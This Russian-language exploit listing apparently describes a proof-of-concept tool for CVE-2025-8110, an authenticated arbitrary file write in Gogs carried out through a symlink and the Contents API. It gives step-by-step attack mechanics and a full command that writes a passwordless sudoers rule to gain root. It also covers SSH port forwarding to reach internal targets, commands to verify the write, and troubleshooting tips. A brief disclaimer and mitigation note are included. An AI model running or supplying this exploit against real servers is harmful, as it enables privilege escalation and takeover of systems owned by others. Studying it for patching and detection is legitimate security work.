## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHIROUUU-CVE-2025-8110-GOGS-POC
# CVE-2025-8110 — Gogs: Произвольная запись файлов (PoC)
Доказательство концепции для аутентифицированной произвольной записи файлов в Gogs. Отправляя репозиторий, содержащий символическую ссылку, указывающую за пределы репозитория, а затем обновляя содержимое этой ссылки через API, аутентифицированный пользователь может перезаписывать файлы на хосте с привилегиями учетной записи, под которой работает Gogs.
> **Только авторизованное тестирование и обучение.** Запускайте это только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Вы несете ответственность за то, как вы это используете.
## Как это работает
1. Аутентифицируйтесь в Gogs с существующей учетной записью.
2. Сгенерируйте токен приложения (API) в настройках пользователя.
3. Создайте репозиторий.
4. Добавьте символическую ссылку (`malicious_link -> /path/on/host`) и отправьте её.
5. Отправьте `PUT`-запрос к Contents API для обновления `malicious_link`. Gogs следует по символической ссылке и записывает предоставленное содержимое в целевой путь — со своими привилегиями. Если Gogs работает от root, это является прямым примитивом повышения привилегий (например, добавление правила в `/etc/sudoers.d/`).
Именно `PUT`-запрос API запускает запись; отправка репозитория только размещает символическую ссылку.
## Требования
* Python 3.8+
* `git` доступен в PATH
* Существующая учетная запись Gogs (регистрация может быть отключена на цели)
root@kitploit:~
pip install -r requirements.txt
## Использование
root@kitploit:~
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Опустите `--password`, чтобы безопасно ввести пароль по запросу вместо передачи его в командной строке.
### Доступ к внутреннему экземпляру Gogs
Gogs часто привязан к localhost на цели. Используйте SSH-перенаправление локального порта, чтобы открыть доступ к нему с вашей машины (настройте порты в соответствии с целью):
root@kitploit:~
ssh -L 3000:127.0.0.1:3000 user@target
# затем направить эксплойт на http://127.0.0.1:3000
### Проверка записи
После успешного запуска проверьте на хосте (от имени соответствующего пользователя):
root@kitploit:~
cat /etc/sudoers.d/pwned
sudo -l
Если вы записали правило sudoers, учтите, что файлы в `/etc/sudoers.d/` должны быть корректными и иметь соответствующие права доступа, чтобы `sudo` их учитывал.
## Примечания / устранение неполадок
* **`auto_init` возвращает HTTP 500** — скрипт откатывается к созданию пустого репозитория и его наполнению с помощью локального `git init` \+ push.
* **Push отклонён (non-fast-forward)** — скрипт согласует изменения с удалённым репозиторием и повторяет попытку; также обрабатывает `master` и `main`.
* **CSRF-токен не найден** — обычно означает, что цель/порт указаны неверно (вы обращаетесь к другому сервису) или сессия не аутентифицирована.
## Смягчение
Обновитесь до версии Gogs, которая проверяет символические ссылки в Contents API. В качестве защиты в глубину не запускайте Gogs от root и изолируйте хранилище репозиториев.
## Лицензия
MIT — см. `LICENSE`.